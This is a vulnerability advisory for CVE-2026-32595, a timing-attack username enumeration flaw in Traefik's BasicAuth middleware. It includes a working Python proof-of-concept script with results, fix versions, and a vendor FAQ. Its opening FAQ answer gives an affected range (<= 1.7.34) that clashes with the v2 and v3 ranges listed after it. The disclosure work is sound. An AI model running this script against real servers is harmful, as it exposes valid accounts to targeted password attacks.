CVE-2026-32595

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

For more information

If you have any questions or comments about this advisory, please open an issue.

A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.

Details

The vulnerability exists in the BasicAuth middleware implementation. When validating credentials:

• User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design
• User doesn't exist: The system immediately returns authentication failure in ~0.6ms

This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.

Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.

Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.

PoC

Environment:

• Traefik v3.6.9
• k3s v1.34.5

Configuration:

apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: basicauth
  namespace: traefik-poc
spec:
  basicAuth:
    secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-basicauth
  annotations:
    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
  ingressClassName: traefik
  rules:
    - http:
        paths:
          - path: /protected
            pathType: Prefix
            backend:
              service:
                name: whoami
                port:
                  number: 80

PoC Script:

#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
    times = []
    for _ in range(SAMPLES):
        start = time.perf_counter()
        requests.get(TARGET, auth=(username, password), timeout=5)
        elapsed = time.perf_counter() - start
        times.append(elapsed)
    return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
    median = measure_time(user)
    if median > 0.05:  # bcrypt threshold
        status = "[+] EXISTS (slow - bcrypt verification)"
    else:
        status = "[-] NOT FOUND (fast - immediate return)"
    print(f"{status}: {user:20s} | median={median:.4f}s")

Execution Results:

Target: http://10.10.10.7:30080/protected
Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s
[-] NOT FOUND (fast - immediate return): root          | median=0.0006s
[-] NOT FOUND (fast - immediate return): test          | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s

Timing difference ratio: 298.0x

• Vulnerability Type: Information Disclosure via Timing Attack (CWE-208)
• Impact:
  • Attackers can enumerate valid usernames without authentication
  • Enables targeted password brute-force attacks against confirmed accounts
  • Exposes information about system user structure
• Who is impacted: All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:
  • BasicAuth middleware enabled
  • Attacker able to make requests to protected endpoints
  • Network access to measure response times
• Attack Complexity: Low - only requires sending HTTP requests and measuring response times
• Privileges Required: None
• User Interaction: None

Kodem intelligence

• https://github.com/traefik/traefik/releases/tag/v2.11.41
• https://github.com/traefik/traefik/releases/tag/v3.6.11
• https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

1. What is CVE-2026-32595? CVE-2026-32595 is a medium-severity security vulnerability in github.com/traefik/traefik (go), affecting versions <= 1.7.34. It is fixed in 2.11.41, 3.6.11, 3.7.0-ea.2.
2. Which packages are affected by CVE-2026-32595?
   • github.com/traefik/traefik (go) (versions <= 1.7.34)
   • github.com/traefik/traefik/v2 (go) (versions <= 2.11.40)
   • github.com/traefik/traefik/v3 (go) (versions <= 3.6.10)
3. Is there a fix for CVE-2026-32595? Yes. CVE-2026-32595 is fixed in 2.11.41, 3.6.11, 3.7.0-ea.2. Upgrade to this version or later.
4. Is CVE-2026-32595 exploitable, and should I be worried? Whether CVE-2026-32595 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-32595 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-32595?
   • Upgrade github.com/traefik/traefik/v2 to 2.11.41 or later
   • Upgrade github.com/traefik/traefik/v3 to 3.6.11 or later
   • Upgrade github.com/traefik/traefik/v3 to 3.7.0-ea.2 or later